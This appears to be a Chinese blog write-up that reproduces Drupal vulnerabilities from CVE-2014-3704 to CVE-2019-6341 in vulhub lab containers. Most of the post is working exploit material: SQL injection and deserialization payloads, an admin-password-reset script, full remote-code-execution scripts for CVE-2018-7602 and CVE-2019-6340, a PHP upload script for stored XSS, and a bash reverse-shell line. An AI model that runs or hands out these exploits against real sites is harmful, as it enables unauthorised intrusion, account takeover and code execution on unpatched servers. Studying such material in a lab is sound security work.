Drupal 2019年前的系列漏洞复现

(Updated: )
Drupal
, , ,

Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。截止2011年底，共有13,802位WEB专家参加了Drupal的开发工作；228个国家使用181种语言的729,791位网站设计工作者使用Drupal。著名案例包括：联合国、美国白宫、美国商务部、纽约时报、华纳、迪斯尼、联邦快递、索尼、美国哈佛大学、Ubuntu等。

以下漏洞的复现环境都是vulhub

CVE-2014-3704 SQL注入漏洞

Drupal 是一款用量庞大的CMS，其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞，攻击者可以执行任意SQL语句，插入、修改管理员信息，甚至执行任意代码。

poc

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POST /?q=node&destination=node HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

image-20201124192434140

EXP -重置管理员用户为指定用户信息

依赖脚本drupalpass：https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py

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import urllib2,sys
from drupalpass import DrupalHash 
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
import hashlib

# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.

class DrupalHash:

  def __init__(self, stored_hash, password):
    self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    self.last_hash = self.rehash(stored_hash, password)

  def get_hash(self):
    return self.last_hash

  def password_get_count_log2(self, setting):
    return self.itoa64.index(setting[3])

  def password_crypt(self, algo, password, setting):
    setting = setting[0:12]
    if setting[0] != '$' or setting[2] != '$':
      return False

    count_log2 = self.password_get_count_log2(setting)
    salt = setting[4:12]
    if len(salt) < 8:
      return False
    count = 1 << count_log2

    if algo == 'md5':
      hash_func = hashlib.md5
    elif algo == 'sha512':
      hash_func = hashlib.sha512
    else:
      return False
    hash_str = hash_func(salt + password).digest()
    for c in range(count):
      hash_str = hash_func(hash_str + password).digest()
    output = setting + self.custom64(hash_str)
    return output

  def custom64(self, string, count = 0):
    if count == 0:
      count = len(string)
    output = ''
    i = 0
    itoa64 = self.itoa64
    while 1:
      value = ord(string[i])
      i += 1
      output += itoa64[value & 0x3f]
      if i < count:
        value |= ord(string[i]) << 8
      output += itoa64[(value >> 6) & 0x3f]
      if i >= count:
        break
      i += 1
      if i < count:
        value |= ord(string[i]) << 16
      output += itoa64[(value >> 12) & 0x3f]
      if i >= count:
        break
      i += 1
      output += itoa64[(value >> 18) & 0x3f]
      if i >= count:
        break
    return output

  def rehash(self, stored_hash, password):
    # Drupal 6 compatibility
    if len(stored_hash) == 32 and stored_hash.find('$') == -1:
      return hashlib.md5(password).hexdigest()
      # Drupal 7
    if stored_hash[0:2] == 'U$':
      stored_hash = stored_hash[1:]
      password = hashlib.md5(password).hexdigest()
    hash_type = stored_hash[0:3]
    if hash_type == '$S$':
      hash_str = self.password_crypt('sha512', password, stored_hash)
    elif hash_type == '$H$' or hash_type == '$P$':
      hash_str = self.password_crypt('md5', password, stored_hash)
    else:
      hash_str = False
    return hash_str

使用上述脚本进行测试，尝试添加管理员用户abc/123123：

image-20201130135646649

然后用abc/123123登录成功：

image-20201130135754126

进入mysql容器：

image-20201130140148536

查看到admin被替换：

image-20201130140221357

参考链接：https://www.freebuf.com/vuls/47690.html

CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞

利用条件：需要管理员帐号密码

POC：

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!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

步骤：

1、登录管理员

2、访问：http://192.168.116.132/admin/config/development/configuration/single/import

3、Configuration type 选择 Simple configuration，Configuration name 任意填写，Paste your configuration here 中填写POC

image-20201130145620712

image-20201130150000911

CVE-2018-7600 Drupal Drupalgeddon 2 远程代码执行

POC：

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POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

执行id

image-20201130151519421

CVE-2018-7602 远程代码执行

利用条件：需要帐号信息

POC：

python3 drupa7-CVE-2018-7602.py -c “id” drupal drupal http://127.0.0.1:8081/

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#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) 
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
                    ''')

  parser.add_argument("user", help="Username")
  parser.add_argument("password", help="Password")
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  session = requests.Session()
  proxyConf = {'http': proxy, 'https': proxy}
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {'q':'user/login'}
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    get_params = {'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]
    if(user_id):
      print('[*] User ID found: ' + user_id)
    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {'name': 'form_token'}).get('value')
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')
  print ('|                                   by pimps                                      |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()

image-20201130162325179

CVE-2019-6339 远程代码执行

利用条件：需要管理员帐号信息

下载利用文件：https://github.com/thezdi/PoC/tree/master/Drupal

进入用户编辑界面http://192.168.116.132:8080/user/1/edit，上传图片并保存

image-20201130164147956

进入http://192.168.116.132:8080/admin/config/media/file-system界面，在Temporary directory处输入：phar://./sites/default/files/pictures/2020-11/blog-ZDI-CAN-7232-cat.jpg点击保存

image-20201130164759989

image-20201130164743816

修改命令为创建文件1111：

image-20201130172257094

image-20201130172307261

尝试getshell，修改图片：s为50即命令字符数为50，命令为/bin/bash -i >& /dev/tcp/192.168.116.132/9999 0>&1。反弹未成功

image-20201130171025740

CVE-2019-6340 远程代码执行

Drupal Core存在一个远程代码执行漏洞。此次，它的目标是Drupal 8的REST模块，默认情况下，该模块是禁用了，但是该模块在大多数情况下会被用户使用。该漏洞本质上是由于用户使用Drupal Core RESTful Web Services (rest)时，某些字段类型无法正确清理非格式源中的数据。在某些情况下，这可能导致任意PHP代码执行。此外，我们发现针对该漏洞提出的即时补救措施是不完整的，这可能会导致一种错误的安全感。用户可能会根据官方的说明禁用掉RESTful Web Services 中的POST/PATCH方法，但是事实上GET方法也能在无任何权限的情况下执行远程代码，所以用户必须执行Drupal的最新的安全更新或者禁用RESTful Web Services服务，否则网站依旧处于风险当中。

影响版本

Drupal 8.6.x < 8.6.10

Drupal 8.5.x < 8.5.11

可使用脚本：https://github.com/zhzyker/exphub/blob/master/drupal/cve-2019-6340_cmd.py，也可以使用下列POC

POC：

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# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/1099206271901798400

# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
#  by @leonjza
#
# References:
#  https://www.drupal.org/sa-core-2019-003
#  https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
# root        49  0.0  0.0   4288   716 pts/0    Ss+  16:38   0:00 sh
# root         1  0.0  1.4 390040 30540 ?        Ss   15:20   0:00 apache2 -DFOREGROUND
# www-data    24  0.1  2.8 395652 57912 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    27  0.1  2.9 396152 61108 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    31  0.0  3.4 406304 70408 ?        S    15:22   0:04 apache2 -DFOREGROUND
# www-data    39  0.0  2.7 398472 56852 ?        S    16:14   0:02 apache2 -DFOREGROUND
# www-data    44  0.2  3.2 402208 66080 ?        S    16:37   0:05 apache2 -DFOREGROUND
# www-data    56  0.0  2.6 397988 55060 ?        S    16:38   0:01 apache2 -DFOREGROUND
# www-data    65  0.0  2.3 394252 48460 ?        S    16:40   0:01 apache2 -DFOREGROUND
# www-data    78  0.0  2.5 400996 51320 ?        S    16:47   0:01 apache2 -DFOREGROUND
# www-data   117  0.0  0.0   4288   712 ?        S    17:20   0:00  \_ sh -c echo

import sys
from urllib.parse import urlparse, urljoin

import requests


def build_url(*args) -> str:
    """
        Builds a URL
    """

    f = ''
    for x in args:
        f = urljoin(f, x)

    return f


def uri_valid(x: str) -> bool:
    """
        https://stackoverflow.com/a/38020041
    """

    result = urlparse(x)
    return all([result.scheme, result.netloc, result.path])


def check_drupal_cache(r: requests.Response) -> bool:
    """
        Check if a response had the cache header.
    """

    if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
        return True

    return False


def find_article(base: str, f: int = 1, l: int = 100):
    """
        Find a target article that does not 404 and is not cached
    """

    while f < l:
        u = build_url(base, '/node/', str(f))
        r = requests.get(u)

        if check_drupal_cache(r):
            print(f'[x] Node enum found a cached article at: {f}, skipping')
            f += 1
            continue

        # found an article?
        if r.status_code == 200:
            return f
        f += 1


def check(base: str, node_id: int) -> bool:
    """
        Check if the target is vulnerable.
    """

    payload = {
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
            }
        },
        "type": {
            "target_id": "article"
        },
        "title": {
            "value": "My Article"
        },
        "body": {
            "value": ""
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
        return False

    if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
        return True

    return False


def exploit(base: str, node_id: int, cmd: str):
    """
        Exploit using the Guzzle Gadgets
    """

    # pad a easy search replace output:
    cmd = 'echo ---- & ' + cmd
    payload = {
        "link": [
            {
                "value": "link",
                "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
                           "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
                           "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
                           "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
                           "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
                           "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
                           "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
                           "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                           "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
            }
        ],
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
            }
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Exploiting {node_id} returned cache HIT, may have failed')

    if '----' not in r.text:
        print('[warn] Command execution _may_ have failed')

    print(r.text.split('----')[1])


def main(base: str, cmd: str):
    """
        Execute an OS command!
    """

    print('[+] Finding a usable node id...')
    article = find_article(base)
    if not article:
        print('[!] Unable to find a node ID to reference. Check manually?')
        return

    print(f'[+] Using node_id {article}')

    vuln = check(base, article)
    if not vuln:
        print('[!] Target does not appear to be vulnerable.')
        print('[!] It may also simply be a caching issue, so maybe just try again later.')
        return
    print(f'[+] Target appears to be vulnerable!')

    exploit(base, article, cmd)


if __name__ == '__main__':

    print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
    print(' by @leonjza\n')
    print('References:\n'
          ' https://www.drupal.org/sa-core-2019-003\n'
          ' https://www.ambionics.io/blog/drupal8-rce\n')
    print('[warning] Caching heavily affects reliability of this exploit.\n'
          'Nodes are used as they are discovered, but once they are done,\n'
          'you will have to wait for cache expiry.\n')

    if len(sys.argv) <= 2:
        print(f'Usage: {sys.argv[0]} <target base URL> <command>')
        print(f'    Example: {sys.argv[0]} http://127.0.0.1/ id')

    target = sys.argv[1]
    command = sys.argv[2]
    if not uri_valid(target):
        print(f'Target {target} is not a valid URL')
        sys.exit(1)

    print(f'Targeting {target}...')
    main(target, command)

CVE-2019-6341 XSS

POC

php blog-poc.php 192.168.116.132 8080

blog-poc.php
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<?php
/*
usage: php poc.php <target-ip>

Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/

*/

$host = $argv[1];
$port = 80;

$pk =   "GET /user/register HTTP/1.1\r\n".
	"Host: ".$host."\r\n".
	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
	"Accept-Language: en-US,en;q=0.5\r\n".
	"Referer: http://".$host."/user/login\r\n".
	"Connection: close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);

preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);

$data = 
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
"	<HEAD>\r\n".
"		<SCRIPT>alert(123);</SCRIPT>\r\n".
"	</HEAD>\r\n".
"	<BODY>\r\n".
"	</BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";

$pk = 	"POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
	"Host: ".$host."\r\n".
	"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
	"Accept: application/json, text/javascript, */*; q=0.01\r\n".
	"Accept-Language: en-US,en;q=0.5\r\n".
	"X-Requested-With: XMLHttpRequest\r\n".
	"Referer: http://" .$host. "/user/register\r\n".
	"Content-Length: ". strlen($data). "\r\n".
	$data;

echo "uploading file, please wait...\n";

for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);

echo "Got ".$i."/2 500 errors\n";
//echo $out."\n";
sleep(1);
}

echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";

?>

image-20201130185053451

image-20201130185600912